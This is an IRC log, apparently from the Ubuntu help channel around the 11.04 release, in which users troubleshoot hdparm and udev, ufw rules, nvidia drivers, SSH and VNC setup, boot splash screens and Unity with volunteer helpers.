[21:15] <ohsix> MrMist1: you need not give me any justification, and wasn't your problem that it wasn't being applied?
[21:15] <econdudeawesome> ActionParsnip: I am still having the same issue--nspluginwrapper and adobe-installer are not installing
[21:16] <Galvatron> _Mr_Proper_: Tou might also try getting rid of wodim.
[21:16] <gmachine_24> _Mr_Proper_: I use wodim without a problem.
[21:16] <hihihi100> i can see the log while my machine boots, like the whole screen was a terminal, how do I get a better looking screen during booting? its before I am asked to choose a user and password
[21:16] <gmachine_24> _Mr_Proper_: what burning software were you using?
[21:16] <MrMist1> ohsix: Yeah, it was meant for the other guy. I just wanted to tell you as well :) He wondered why I needed to spin them down :)
[21:16] <_Mr_Proper_> gmachine_24, Bombono DVD from the repo
[21:17] <ohsix> MrMist1: well, unless you want to waste your time, let him wonder; let me poke around a bit
[21:17] <Edd> im having trouble installing natty
[21:17] <Galvatron> _Mr_Proper_: Try things like Brasero, Gnome Baker or K3B
[21:17] <KatronixSerf> Hi all, before Natty came out officially I was running Beta 2 of it, I should be able to upgrade to the full version right?
[21:17] <gmachine_24> _Mr_Proper_: ahh, see, I have not used that. any of the GUI cd/dvd burning programs have been a problem for me
[21:17] <ohsix> MrMist1: ok didn't have to look much! udev applies hdparm settings when drives show up, so it should apply at boot
[21:17] <pumeust> guntbert, thanks. so what do i do if i have a r/w mount partition i want to resuce?
[21:17] <gmachine_24> _Mr_Proper_: which is why I stick with the command line
[21:18] <div-0> is there a way to install the nivida drivers by just mounting the ubuntu partition from another system?
[21:18] <Galvatron> _Mr_Proper_: Of course, K3B is not exactly recommended for GNOME as installing it means a mess with downloading a lot of KDE components.
[21:18] <ohsix> MrMist1: barring udev not working, or you not using an intitramfs or some other odd special situation you've created for yourself, it should work
[21:18] <MrMist1> ohsix: I've changed the script /lib/udev/hdparam now... touching a file when it's run. Trying to boot to check if the file is being created
[21:18] <illmortal> Ok.. gonna restart my PC... this buggy panel is annoying.
[21:18] <gmachine_24> _Mr_Proper_: I literally never have a problem or bad disk
[21:18] <_Mr_Proper_> Yeah, I liked K3B in the past, but don't fancy KDE dependency hell.. I'd normally use CLI, but was kinda in a rush, so click and go was more what I was after!
[21:18] <Edd> After installation of natty i get into a shell login, no GUI
[21:18] <ohsix> MrMist1: don't change those files, they will be overwritten on an update
[21:19] <ohsix> MrMist1: er nm that's probably ok
[21:19] <_Mr_Proper_> Doing it in DeVeDe now, at a reduced rate, we'll see what happens :) Thanks for the help
[21:19] <ohsix> MrMist1: you can just ask udev to be noisy about what it's doing, and do it without a reboot even
[21:19] <MrMist1> ohsix: It's ok.. it's just for debugging purposes. Hehe
[21:19] <Galvatron> KatronixSerf: All you need to do is installing all  the latest updates and you are home.
[21:19] <ohsix> MrMist1: sec i'll whip up something to run
[21:19] <Guest1956> katronixSerf i had no trouble upgrading it
[21:20] <MrMist1> ohsix: Thanks. I'm booting now to see if the script creates the file
[21:20] <gmachine_24> _Mr_Proper_: for the  most part the GUI dvd burners in Linux are just that .... graphic interfaces for command line programs
[21:20] <gmachine_24> so....................
[21:20] <ohsix> MrMist1: udevadm test /sys/block/sdd it will run udev and tell you everything it does, here it says at the end: udevadm_test: run: '/lib/udev/hdparm'
[21:20] <Edd> any1 can answer ?
[21:21] <eamon> div-0: are you still having trouble with the nvidia drivers?
[21:21] <gmachine_24> Edd: you boot the computer and it goes straight to a c:/?
[21:21] <div-0> eamon yes
[21:21] <guntbert> pumeust: if it you just want to check the file system:  The command "sudo shutdown -F -r now" will force a reboot and a filesystem check
[21:21] <Edd> gmachine_24 goes straight to grub
[21:21] <Edd> i choose the kernel
[21:21] <Edd> i login to tty
[21:22] <Edd> startx fails with an error of not installed pkg of xinit
[21:22] <BladeFreak> I'm trying to install QT4 on ubuntu, is there no package for it?
[21:22] <Edd> never had this error since ubuntu 7
[21:22] <tuxz> what do you think is the best distro for gnome 3?
[21:22] <LjL> !best | tuxz
[21:22] <ubottu> tuxz: Usually, there is no single "best" application to perform a given task. It's up to you to choose, depending on your preferences, features you require, and other factors. Do NOT take polls in the channel. If you insist on getting people's opinions, ask BestBot in #ubuntu-bots.
[21:22] <tuxz> BladeFreak: its just called qt
[21:22] <eamon> div-0: have you tried following this guide? https://help.ubuntu.com/community/VideoDriverHowto If so, what step are you stuck on?
[21:22] <gmachine_24> Edd: after choosing a kernel why does it go to a tty?
[21:22] <Dr_Willis> Edd:  i saw that on some OTHER disrto then ubuntu once. you are having this issue in 11.04 ?
[21:22] <tuxz> LjL: i asked your opinion
[21:22] <pumeust> guntbert, what if i wanted to recover partition or data?
[21:22] <LjL> BladeFreak: uhm, it will get installed automatically when you install a package that depends on it
[21:22] <Edd> gmachine_24 it gives the loading screen of pkgs
[21:22] <MrMist1> ohsix: The hdparm.called was NOT created during boot. Which again means that /lib/udev/hdparm is not being called
[21:23] <Edd> then it gives an error of no turbo driver or something
[21:23] <LjL> tuxz: and i have to tell you that unfortunately opinion polls are not allowed in this 1730-people channel. try #ubuntu-offtopic
[21:23] <Edd> and i login to tty
[21:23] <div-0> eamon: the problem is i cant access the system. i'm only able to mount the partition from within a livecd i booted
[21:23] <guntbert> pumeust: best begin by telling what your problem is :)
[21:23] <MrMist1> ohsix: Ehm.. but I'm just booting using "sudo reboot", not a physical on/off. Should I try that?
[21:23] <div-0> eamon: the screen is unreadable (see screenshot here: http://ubuntuforums.org/showthread.php?t=1742929&highlight=1520 )
[21:23] <gmachine_24> Edd: I guess if you hit cntrl + alt + F7 you get nothing....?
[21:23] <tuxz> ljL: but if in your opinion the answer to my question is ubuntu then its not offtopic, is it?
[21:23] <Edd> i gues tthe boot screen
[21:24] <LjL> tuxz: no, still offtopic
[21:24] <Edd> containing the running rpocesses
[21:24] <gmachine_24> Edd: ok
[21:24] <LjL> tuxz: ontopic for here is Ubuntu technical support. opinion polls don't fall under technical support.
[21:24] <Tetsuo55> can anyon reproduce this? with chrome as the default browser i click on a link in konversation, and instead of switching to chrome the desktop crashes and i have to log in again. and apport does not catch this event
[21:24] <gmachine_24> Edd: I'm afraid this is above my pay grade
[21:24] <Edd> ok gmachine_24
[21:24] <cabbagemoonlight> is there an easy way to use vnc securely?  i need a tutorial
[21:24] <gmachine_24> Edd: have you searched for the error you get re: turbo driver on google or ubuntu?
[21:25] <Edd> ah
[21:25] <tuxz> i wouldnt call whats the name of the qt4 package technical either. but whatever. enjoy your saturday evening
[21:25] <Edd> that's the perfect error
[21:25] <Dr_Willis> cabbagemoonlight:  a ssh tunnle is the normal way to secure it.
[21:25] <MrMist1> ohsix: Strange... tried your test, and it still says it's trying running the file, but no "hdparm.called" file is being created
[21:25] <Dr_Willis> !vnc | cabbagemoonlight
[21:25] <ubottu> cabbagemoonlight: VNC is a protocol for remote desktop. https://help.ubuntu.com/community/VNCOverSSH describes how to use it securely.  It works best over fast connections, otherwise look at !FreeNX
[21:25] <Edd> gmachine_24: plymouth command failed
[21:25] <sraue> tuxz: try Fedora 15 (live)
[21:25] <Edd> disconnected from plymouth
[21:25] <BladeFreak> LjL: I'm trying to compile a build that requires QT4 as a dependency, i tried "sudo apt-get install qt" , but I get a "E: Unable to locate package qt"
[21:25] <Edd> >>> mountall
[21:25] <cabbagemoonlight> !FreeNX
[21:25] <ubottu> FreeNX is advanced remote desktop technology. For more information and install instructions, see https://help.ubuntu.com/community/FreeNX
[21:25] <LjL> BladeFreak: ah, then you need the -dev packages. hold on while i find the name
[21:25] <pumeust> guntbert, i need to recover data from hard drives so i've been reading up on the subject and i just wanted to make sure i dont try to rescue a r/w mount since the manual says not to do this, and to know what to do if what i want to recover happens to be r/w mount
[21:25] <eamon> div-0: I can link you to an advaced guide that will allow you to hi-jack the system from a live cd and edit the root filesystem from the livecd as though it were the native root filesystem of the environment
[21:25] <cabbagemoonlight> thanks Dr_Willis
[21:25] <LjL> !info libqt4-dev | BladeFreak
[21:25] <ubottu> BladeFreak: libqt4-dev (source: qt4-x11): Qt 4 development files. In component main, is optional. Version 4:4.7.2-0ubuntu6 (natty), package size 2862 kB, installed size 27940 kB
[21:26] <eamon> div-0: This is kihd of advanced, do you want that guide?
[21:26] <gmachine_24> Edd: I am clueless about the plymouth command
[21:26] <div-0> eamon: sure, at this point i try everything :)
[21:26] <ohsix> MrMist1: well test doesn't actually run it, it just says what is done when the device name shows up, ie. what's done at boot
[21:26] <guntbert> pumeust: in that case it is best you do everything after booting from a live CD
[21:26] <BladeFreak> LjL: it's working, thanks for taking the trouble to help :)
[21:27] <MrMist1> but it should create the file as soon as the script is run.. and it hasn't been created
[21:27] <kroimpa> hi bnguys, when i try to allow 192.168.1.0/24 to access port 22 tcp using: ufw allow from 192.168.1.0/24 to tcp port 22, it gives a a bad destination address
[21:27] <kroimpa> any idea why?
[21:27] <asdf_msc> anybody gotten WoW working after upgrading to ubuntu 11.04?
[21:27] <ohsix> MrMist1: let me look some more, i don't know of any circumstances where it might be disabled, but it very well may be for some reason on server
[21:28] <kroimpa> root@kroimpa:~# ufw allow from 192.168.1.0/24 to tcp port 139
[21:28] <kroimpa> ERROR: Bad destination address
[21:28] <gmachine_24> Edd: did you check something like this? http://www.linuxquestions.org/questions/linux-software-2/plymouth-command-failed-868723/
[21:28] <cabbagemoonlight> one more question, is there an easy way (GUI) to set up a ssh server?
[21:28] <LjL> cabbagemoonlight: uhm, what is there to set up?
[21:28] <ohsix> cabbagemoonlight: what's to set up?
[21:28] <Augustuen> @cabbagemoonlight sudo apt-get install openssh-server
[21:28] <cabbagemoonlight> i mean all the authentication and whatnots..its looks too complex
[21:29] <BladeFreak> btw, I must say, Ubuntu 11.04 rocks! I'm impressed by the improvements since 9.04... It detected my 3g usb modem and was easy to connect, it was even easier than in windows   :O
[21:29] <_Mr_Proper_> cabbagemoonlight, it works pretty well as it comes
[21:29] <MrMist1> ohsix: I called "head /lib/udev/hdparm" - http://paste.ubuntu.com/601453/
[21:29] <_Mr_Proper_> for basic use
[21:29] <ohsix> cabbagemoonlight: well key and interactive authentication is enabled by default, so you shoul only need to set it up for extremely specialized situations
[21:29] <LjL> cabbagemoonlight: ah, i guess it is a bit, if you want to work with keys. not too familiar with that, but anyway remember you need to set most of that in the *client*, i think...
[21:29] <cabbagemoonlight> ok, so is there a beginners tutorial you can recomend?
[21:30] <ohsix> LjL: server has settings for allowed encodings and authentication methods that can be used by the client,  but they rarely need changing
[21:30] <Augustuen> What should I do if an application I'm trying to compile needs libgtk1.2-dev?
[21:30] <_Mr_Proper_> cabbagemoonlight, http://www.google.com/search?client=ubuntu&channel=fs&q=set+up+ubuntu+ssh+server&ie=utf-8&oe=utf-8&gl=uk
[21:30] <_Mr_Proper_> :)
[21:30] <ohsix> Augustuen: is it a newer version of a package already in ubuntu?
[21:30] <LjL> cabbagemoonlight: https://help.ubuntu.com/10.10/serverguide/C/openssh-server.html
[21:30] <ohsix> !google | _Mr_Proper_
[21:30] <ubottu> _Mr_Proper_: While Google is useful for helpers, many newer users don't have the google-fu yet. Please don't tell people to "google it" when they ask a question.
[21:30] <LjL> _Mr_Proper_: that's not very useful
[21:30] <ohsix> _Mr_Proper_: and there is a server guide :]
[21:31]  * _Mr_Proper_ hides
[21:31] <eamon> div-0: This is a gentoo guide. Use your liveCD and open a terminal, then mount your root filesystem that you want to install drivers on to "/mnt/gentoo" (the name does not matter, its whats used in the guide) the follow the steps at "entering the new environment" on http://www.gentoo.org/doc/en/handbook/handbook-amd64.xml?part=1&chap=6 then start installing the nvidia packages according to this
[21:31] <eamon> guide https://help.ubuntu.com/community/BinaryDriverHowto/Nvidia
[21:31] <FloodBot2> eamon: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[21:31] <ohsix> LjL \is beating me to everything today
[21:31] <_Mr_Proper_> I used the second one on the list when I set up I think
[21:31] <Augustuen> ohsix: libgtk1.2-dev is no longer available with apt-get :(
[21:31] <ohsix> Augustuen: oh 1.2
[21:31]  * LjL beats ohsix up with a wet towel
[21:31] <ohsix> Augustuen: what program is it?
[21:31] <div-0> eamon: ok thanks, i'll try
[21:31] <Augustuen> ohsix: Putty
[21:31] <asdf_msc> anyone notice what's broken in this? fixme:win:EnumDisplayDevicesW ((null),0,0x32ed74,0x00000000), stub!
[21:31] <tasslehoff> which gmail indicator/notifier is a good choice in 11.04?
[21:31] <logi01> Is it possible to deactivate global menu in 11.04?
[21:31] <_Mr_Proper_> Right, DVD burned successfully with the ubuntu built in disc creator, time to try it out :)
[21:31] <ohsix> Augustuen: is there something wrong with the version in the repos?
[21:31] <kroimpa> any idea when i connt ad this rule? im using the correct format: ufw allow from <ip address> to <protocol> port <port number>
[21:32] <LjL> logi01: it probably will be deactivated if you select a Classical login
[21:32] <kroimpa> root@kroimpa:~# ufw allow from 192.168.1.0/24 to tcp port 139
[21:32] <kroimpa> ERROR: Bad destination address
[21:32] <Augustuen> logi01: if you use the "old" gnome UI
[21:32] <tasslehoff> Used checkgmail before, but wonder if there is anything better out there
[21:32] <Barridus> tasslehoff, evolution handles gmail
[21:32] <pumeust> guntbert,  i see. i was wondering if r/w mount is a thing i can change so its no longer r/w mount so i can then try to rescue it...anyways i didnt know its best to do this from live cd...i read that the important thing is to first copy image of the disc to another disc
[21:32] <Augustuen> ohsix: the application needs 1.2
[21:32] <trism> logi01: or: sudo apt-get remove indicator-appmenu; then log out/back in
[21:32] <Barridus> and thunderbird
[21:32] <logi01> ok thx
[21:32] <tasslehoff> Barridus: I don't want a client, just a notifier.
[21:33] <ohsix> Augustuen: the version in the repos uses gtk2, what's wrong with the already built packages?
[21:33] <LjL> kroimpa: shouldn't it be: ufw allow proto tcp from 192.168.1.0/24 to any port 139
[21:33] <Augustuen> tasslehoff: If you use google chrome, you can enable it on gmail.com
[21:33] <kroimpa> LjL, ill try that out man :D
[21:33] <Augustuen> ohsix: I'm going to be using the code from Putty to experiment with SSH
[21:33] <KM0201> tasslehoff: you want a gmail notifier?
[21:34] <linuxnetworkmobi> Hello
[21:34] <ohsix> Augustuen: ah well, i'd be really surprised if it didn't offer a way to build with gtk2, and isn't the ssh part separated from teh ui? is this something you cant use openssl or nss or gnutls for?
[21:34] <tasslehoff> KM0201: yeah. have used gmail-notify and checkgmail, but wonder if there are any indicator applet notifiers
[21:34] <MrMist1> ohsix: Couldn't I just create a .sh file calling "hdparm -S 120 /dev/sdd ?
[21:34] <ezro> 메ㅏ
[21:34] <ezro> park
[21:34] <kroimpa> LjL, thanks man! that worked :d
[21:34] <kroimpa> *:D
[21:35] <KM0201> tasslehoff: you should be able to configure mail-notification, to work w/ gmail (i always use checkgmail, nt really sure on the others)
[21:35] <malv> anyone having this middle click repeat problem?
[21:35] <ezro> fgf
[21:35] <guntbert> pumeust: if the disc does not carry part of the actual system (like in forensic examinations) then you can do it from a running system too - step 1) unmount it with   sudo umount  <mount-point>
[21:35] <Augustuen> ohsix: Doing a make now instead of using the script provided, looks like it's going good
[21:35] <Rehan> why does unity require so many more mouseclicks to get to an app compared to gnome2? Am I doing something wrong?
[21:36] <arrrghhh> Rehan, popular apps i would imagine you put on the bar
[21:36] <arrrghhh> so it's one click...
[21:36] <Rehan> arrrghhh: i see
[21:37] <ohsix> MrMist1: you could but it wouldn't fix whatever problem is stopping it from working as it is now
[21:37] <lsv> what does Maverick, Natty, Lucid, Karmic, and Hardy refer to?
[21:37] <arrrghhh> Rehan, you can always go back to "Ubuntu Classic"
[21:37] <arrrghhh> lsv, releases
[21:37] <MrMist1> ohsix: Hehe... I know. But where would I place such a script?
[21:37] <Rehan> arrrghhh: yeah i'm trying to get used to Unity but its just hard to imagine anything being more efficient than a tree hierarchy
[21:37] <arrrghhh> lsv, http://en.wikipedia.org/wiki/List_of_Ubuntu_releases if you want to know moar
[21:37] <Rehan> arrrghhh: will give it some more time
[21:38] <Ransoogard> Hello. I have an issue with trying to get Ubuntu to boot without text output after grub and before choosing my user account.
[21:38] <lsv> arrrghhh, thanks.  Is there any way of checkin which one I have using the bash?
[21:38] <ohsix> MrMist1: rc.local, drives get reset at runtime and stuff so it might not stick forever past boot
[21:38] <pumeust> guntbert, thanks for the info
[21:38] <arrrghhh> Rehan, up to you entirely.  i wasn't a big fan of it myself.
[21:38] <lsv> *bash
[21:38] <Ransoogard> Specifically I think xsplash isn't working.
[21:38] <ohsix> Rehan: i don't think one of the goals was efficiency over existing things
[21:38] <l1nuxman> /etc/init.d/asterisk-1.8 status won't even return command not found or whatever. Why not?
[21:38] <MrMist1> ohsix: Should I create a bug report or something about this issue?
[21:38] <arrrghhh> lsv, yes.
[21:38] <l1nuxman> I have asterisk-1.8 installed
[21:38] <ohsix> MrMist1: yea, bonus if you can find the cause, searching to see if there is one already would probably be good
[21:39] <chotaz> Hey everyone, anyone knows a good automated program to upload files on multiple filehosts for ubuntu?
[21:39] <guntbert> pumeust: you're welcome :-)  ... and Good luck :-)
[21:39] <arrrghhh> lsv, sorry.  lsb_release -a.
[21:39] <arrrghhh> i kept typing lsb_release and couldn't figure out why it wasn't working :P
[21:39] <lsv> arrrghh, thank you so much.  You're my new best friend :D
[21:39] <MrMist1> ohsix: I don't know if I know enough about udev to be able to find where the fault is ?
[21:40] <nbf> great I upgrade to natty and it won't boot
[21:40] <arrrghhh> lsv, lol np
[21:40] <Soothsayer> how do I put an app that was not installed through a package into the programs so its accessible through the launcher ?
[21:40] <nbf> "loading initial ramdisk"
[21:40] <nbf> and it hangs
[21:40] <Dr_Willis> Soothsayer:  you could make a proper .desktop file for it. there should be 1000's of .desktop files for other apps to use as an example
[21:40] <cousin_mario> hello
[21:40] <arrrghhh> lsv, also tab-complete should be your new best friend :D.  you can tab complete usernames in here, just type arr -> tab
[21:40] <hobbel> Is there a way to make unity hide a program on click? clicking on an active icon slides the unity launcher out instead of hiding the program :s
[21:41] <cousin_mario> volume applet has disappeared: how do I put it back in the system tray?
[21:41] <lsv> arrrghhh: OMG! you have become my best friend forever!!
[21:41] <Edd> any1 hada problem after installing 11.04 ?
[21:41] <MrMist1> Edd: Yep... having problems with hdparm.
[21:41] <viper474> How can I pass a value between classes?
[21:42] <arrrghhh> lsv, yea i'm addicted to tab complete in the terminal.  you can do it basically everywhere in the CLI
[21:42] <ActionParsnip> cousin_mario: ALT+F2 and run: gnome-volume-control
[21:42] <Rehan> Edd: i had the usual pain in the ass that comes with having an nvidia graphics card
[21:42] <ActionParsnip> Edd: installed flawlessly here
[21:42] <LjL> viper474: err, you will want to ask that in ##c++ ##java or whichever language you're using :P
[21:42] <Dr_Willis> !ccsm
[21:42] <ubottu> To enable advanced customization of desktop effects in Ubuntu: install 'compizconfig-settings-manager' or 'simple-ccsm'. If you install the latter, a new option will appear in your appearance properties - See also !compiz - Help in #compiz
[21:42] <herol3oy> does anyone here upgrade his/her ubuntu 10.10 by this >> sudo apt-get dist-upgrade       just wanna know that everything is cool now?
[21:42] <herol3oy> no problem?
[21:42] <arrrghhh> herol3oy, you should use do-release-upgrade
[21:42] <viper474> LjL: oh, sorry I though I was in the java room, sorry
[21:42] <Edd> argh
[21:42] <Edd> i cant get my GUI
[21:42] <ActionParsnip> herol3oy: dist-upgrade won't give you natty
[21:42] <lsv> I also use it, but I didn't know I could use it here.
[21:42] <Edd> this is another error with intel
[21:42] <Rehan> ohsix: are you using 11.04 and if so are you using unity or not?
[21:42] <ActionParsnip> Edd: do you boot to a black screen?
[21:43] <drhydralisk> Can someone help me get my headphones working? They were working before I restarted
[21:43] <ohsix> MrMist1: if udevadm test says it's running the helper then it's not udev
[21:43] <LjL> drhydralisk: try starting "alsamixer" and seeing if there is a headphones slider
[21:43] <ohsix> Rehan: not
[21:43] <Glycan_> Where are system settings in 11.4?
[21:43] <herol3oy> arrrghhh: why this ? what is difrennt?
[21:43] <MrMist1> ohsix: but it's not being run..
[21:43] <Edd> ActionParsnip yup :) the tty
[21:44] <eamon> drhydralisk: I will try to help.
[21:44] <drhydralisk> LjL: ok, ill try
[21:44] <ActionParsnip> Edd: add the bootoption: nomodeset
[21:44] <ohsix> Glycan_: click on the top right thing with your login name, options are at the bottom of the menu
[21:44] <drhydralisk> eamon: thx, trying alasamixer first hold on
[21:44] <ohsix> MrMist1: right, looking into that now; had to get something to eath
[21:44] <Edd> ActionParsnip it will fix the P{lymouth error ?
[21:44] <Glycan_> ohsix: Thank you
[21:44] <eamon> drhydralisk: that's what I was gonna tell you to try :)
[21:44] <ActionParsnip> Glycan_: press ALT+F2 and type the thing you want to run, it will suggest things as you type
[21:44] <ActionParsnip> Edd: should do
[21:44] <Edd> let's try
[21:45] <eamon> drhydralisk: look for master and PCM. Make sure both of those are not muted.
[21:45] <ebiester> Howdy all. My xorg.conf is broken without backup. I want to regenerate, but the only thing I saw while googling was uninstalling xorg and reinstalling/dpkg-reconfigure. Is there a less drastic option?
[21:45] <herol3oy> what's the diffrent between do-release-upgrade and apt-get dist-upgrade?????
[21:45] <oneliner> buahaha, evolution is trying to deal with 6 gigs of mail
[21:45] <helio_> anajulia
[21:45] <kwrite> I can't see the b43 drivers in additional drivers. I installed fwcutter, and the firmware-b43-lpphy-installer just like I did in Ubuntu 10.10. I got it working then. Any ideas?
[21:45] <oneliner> its actually getting there :)
[21:45] <ohsix> MrMist1: if you do "DEVNAME=/dev/sdd /lib/udev/hdparm" does it apply your settings to sdd?
[21:45] <MrMist1> ohsix: I'm really grateful for the help, but I don't want to keep you from eating
[21:45] <cousin_mario> ActionParsnip: it shows no icon
[21:45] <ohsix> ebiester: move it out of the way
[21:46] <ohsix> MrMist1: already ate, forgot i was helping someone :o
[21:46] <drhydralisk> eamon: there is no master thing, only PCM (which was not muted)
[21:46] <ActionParsnip> ebiester: boot to root recovery mode and run: Xorg -configure and it will make a vanilla file, you can copy it to /etc/X11 and it may help
[21:46] <ohsix> ebiester: you shouldn't need an xorg.conf
[21:46] <ebiester> ohsix: I'm currently running without any xorg.conf. :)
[21:46] <Edd> ActionParsnip: unknow boot option 'nomodeset'
[21:46] <ohsix> ebiester: welcome to this century ;] what do you need a .conf for?
[21:46] <ActionParsnip> Edd: http://www.ubuntugeek.com/how-to-fix-ubuntu-10-04-lts-lucid-blank-screen-at-startup.html
[21:46] <Galvatron> ebieste: What is your video card?
[21:47] <arrrghhh> herol3oy, i suggest you read the manpage.  if you have we can discuss it.
[21:47] <Edd> ActionParsnip lucid fix problem will solve natty's ?
[21:47] <ActionParsnip> ohsix: ubuntu server uses smb.conf to configure shares....
[21:47] <MrMist1> ohsix: Hmm... interesting. When I call "sudo DEVNAME=/dev/sdd /lib/udev/hdparm" I get "No disk enabled. Exiting"
[21:47] <ActionParsnip> Edd: yes it should help
[21:47] <ohsix> ActionParsnip: what does that have to do with anything?
[21:47] <eamon> drhydralisk: Are you sure there was no master? What was the firstone, on the very left?
[21:47] <ohsix> MrMist1: eh ok, with sudo you need to do sudo sh -c 'DEVNAME=/dev/sda /lib/udev/hdparm'
[21:47] <drhydralisk> eamon: Headphon
[21:47] <ActionParsnip> ohsix: well in this century people use ubuntu server, so "what do you need a .conf for" is one reply
[21:48] <eamon> ebiester: "sudo dpkg-reconfigure xserver-xorg" should do it
[21:48] <ebiester> ohsix: I have a new laptop that has two separate video cards, so I can't tell if it's running on the intel or the nvidia chipset right now. However, when I upgraded to 11.04, I got a popup that said my video card wasn't powerful enough to run unity.
[21:48] <MrMist1> ohsix: I tried doing a "sudo sh -" first as well, and calling it without sudo... same result
[21:48] <ohsix> ActionParsnip: point of fact, he was asking about xorg.conf
[21:48] <ebiester> Which... seems a bit silly with a 2 month old laptop
[21:48] <ActionParsnip> ohsix: my monitor needs xorg.conf too
[21:48] <lsv> ok one more question.  How can I change my start up setting so Ubuntu starts in text mode?
[21:48] <MrMist1> ohsix: eeeh... "sudo su -" not "sudo sh -"
[21:48] <ohsix> ActionParsnip: i really don't care, this isn't helping this person
[21:48] <ActionParsnip> lsv: add the boot option "text"
[21:48] <Augustuen> ohsix: I get warning: macro `AM_PATH_GTL` not found in library
[21:48] <rgr> wow, is he STILL spouting nonsense about not needing an xorg,conf? Streuth.
[21:48] <ohsix> MrMist1: sudo -- sh -c 'DEVNAME=/dev/sda /lib/udev/hdparm' agh ;]
[21:48] <ActionParsnip> ohsix: neither is asking why do they need a .conf
[21:49] <pattysmatty> what's an rss program?
[21:49] <arrrghhh> herol3oy, basically dist-upgrade prepares your system for an distro upgrade.  it removes obsolete packages, unlike a regular upgrade command.
[21:49] <ohsix> ActionParsnip: i'm at my wits end, i'm asking why he needs a conf so i can tell him how to regenerate it. seriously back off
[21:49] <Edd> ActionParsnip i read the site, this is not my error
[21:49] <lsv> ActionParsnip: where would I change that?  In grub?
[21:49] <ActionParsnip> pattysmatty: do you want to know what rss is or do you want to know some possible app names ?
[21:49] <Edd> my error is : i login to tty no GUI
[21:49] <Augustuen> pattysmatt: an RSS program gets a feed from a server, where for example a website updates you on new articles and such
[21:49] <pattysmatty> ActionParsnip, the latter
[21:49] <Edd> erro: mountall: Disconnected from Plymouth
[21:49] <ohsix> ActionParsnip: if he has an exceptional situataion and needs one, guess what! he needs one
[21:49] <drhydralisk> pattysmath: what do you mean, "what is an rss program" or what is a good client to use?
[21:49] <ActionParsnip> lsv: yes add it in /etc/default/grub   in the quotes with: quiet splash
[21:49] <eamon> rgr: who are you referring to?
[21:49] <ohsix> ebiester: ok
[21:50] <ActionParsnip> ohsix: then you answered your own question
[21:50] <helo_> anyone know how to force banshee to download cover art? the extension says it automatically runs, but it isn't on one machine, and is on the other
[21:50] <ebiester> ActionParsnip. I assumed I needed one because I've always had one since '97 and when there was an xconfigurator. I'm not wedded to having one, but right now, flash is having trouble and unity won't run, so I assumed there was a problem.
[21:50] <pattysmatty> drhydralisk, the programs i can use to follow rss
[21:50] <ohsix> ebiester: either video card you are using should work with unity, something else is going on
[21:50] <ActionParsnip> pattysmatty: http://www.ubuntugeek.com/list-of-rss-readers-available-in-ubuntu.html
[21:50] <MrMist1> ohsix: Identical results, all of them
[21:50] <MrMist1> ohsix: "No disk enabled. Exiting"
[21:50] <ohsix> MrMist1: paste your hdparm.conf to a pastebin
[21:50] <lsv> ActionParsnip: I see... Thanks a bunch!
[21:50] <ActionParsnip> lsv: you will need to run:  sudo update-grub   after adding it
[21:50] <ohsix> ActionParsnip: he doesn't have an exceptional situation, he has a vga switcheroo
[21:50] <MrMist1> ohsix: It's nothing in it almost
[21:51] <drhydralisk> pattysmatty: don't rule out Google Reader
[21:51] <LjL> pattysmatty: also, gpodder, yarssr, firefox-sage, canto, xpn  —  GNOME: liferea, straw, evolution-rss  —  GNUstep: rssreader.app  —  KDE: knode, akregator  —  console: snownews, newsbeuter, rsstail, olive, nrss
[21:51] <hihihi100> i can see the log while my machine boots, like the whole screen was a terminal, how do I get a better looking screen during booting? its before I am asked to choose a user and password
[21:51] <ohsix> ActionParsnip: now kindly do without the interjections of opinion, i'm gonna write you off entirely if you keep it up
[21:51] <ActionParsnip> ohsix: your call
[21:51] <pattysmatty> thanks all
[21:51] <pattysmatty> big help :)
[21:51] <MrMist1> ohsix: hmm... I've got an idea..
[21:52] <ebiester> ohsix: Sometimes I think a decade+ of unix experience gets in my way with ubuntu. :) -- what would be the best route for debugging this?
[21:52] <ohsix> rgr: again, #ubuntu-offtopic, if you have anything to say; lets make it something to help people, that's the entire idea of this channel
[21:52] <eamon> hihihi100: would you like the screen to be blank until the username and password?
[21:52]  * kath ....tryed to upgrade from 10.10 to 11.04...  At the last 2min off upgrade, before Recycle.... it just stoped...  after 15min I turned off my hp comp... but yea.. now ater 1houer ..i sitt with 10.10.... and a prim part with unfinished 11.04
[21:52] <MrMist1> ohsix: http://paste.ubuntu.com/601466/
[21:52] <scoffin> is it possible to move the "top of screen" app menus back into the app window?  [11.04, unity]
[21:52] <eamon> good for kath
[21:52] <lsv> ActionParsnip: like this >> GRUB_CMDLINE_LINUX_DEFAULT="text quiet splash" ?
[21:52] <ohsix> ebiester: well, first, open a terminal and paste the output of glxinfo to paste.ubuntu.com
[21:52] <Snakkah> Can anyone tell me how to make ALL tooltips (the little black descriptors that appear in menus and applications) transparent? For now, it seems to only apply to my panel menus.
[21:52] <MrMist1> I'm commenting out the "quiet" line now... wonder if that's the issue
[21:52] <ActionParsnip> lsv: looks great
[21:53] <hiexpo> is there a wya to passwordfolders
[21:53] <jrib> scoffin: yes, remove indicator-appmenu iirc
[21:53] <kath> .. eamon f you..lol ;)..... not good at all......
[21:53] <hiexpo> ^way
[21:53] <hihihi100> eamon, id like to see the usplash bar at least
[21:53] <Soothsayer> anyone running gnom3 on ubuntu 11.04?
[21:53] <ohsix> MrMist1: you have a stray } :O
[21:53] <kath> ... any one that has upgraded to 11.04
[21:53] <crystal-cola> A window went under the bar at the top my screen!!! I can't get it out!!!
[21:53] <hihihi100> eamon, together with the ubuntu logo
[21:53] <ActionParsnip> hiexpo: you can make the folder owned by your user only, then you will only have access if you chmod 600 it
[21:53] <LjL> crystal-cola: try hitting Alt+F3
[21:53] <ohsix> Soothsayer: gnome3 is only available from a ppa right now, so you won't get much support for it here
[21:53] <andycc> Soothsayer, I did run it for a while, but reverted to Unity.
[21:53] <scoffin> jrib:  sorry, is that an installed package or some setting ?
[21:53] <Dr_Willis> crystal-cola:  hold down alt, click, move it around  is another way
[21:53] <jrib> scoffin: it's a package
[21:53] <crystal-cola> thank you!!
[21:54] <ohsix> Soothsayer: you can try just asking your question, but don't expect a lot ;]
[21:54] <MrMist1> ohsix: argh... still same result after commenting out the line
[21:54] <notlistening> Right i have a bit of a problem with compiz and the negative plugin, I can't get new windows to be generated in negative and ideas?
[21:54] <hiexpo> ActionParsnip, thanks
[21:54] <ebiester> ohsix: http://paste.ubuntu.com/601467/
[21:54] <scoffin> ok, I will try it......   IMHO: that "mac" style is not compatible with focus-follows-mouse
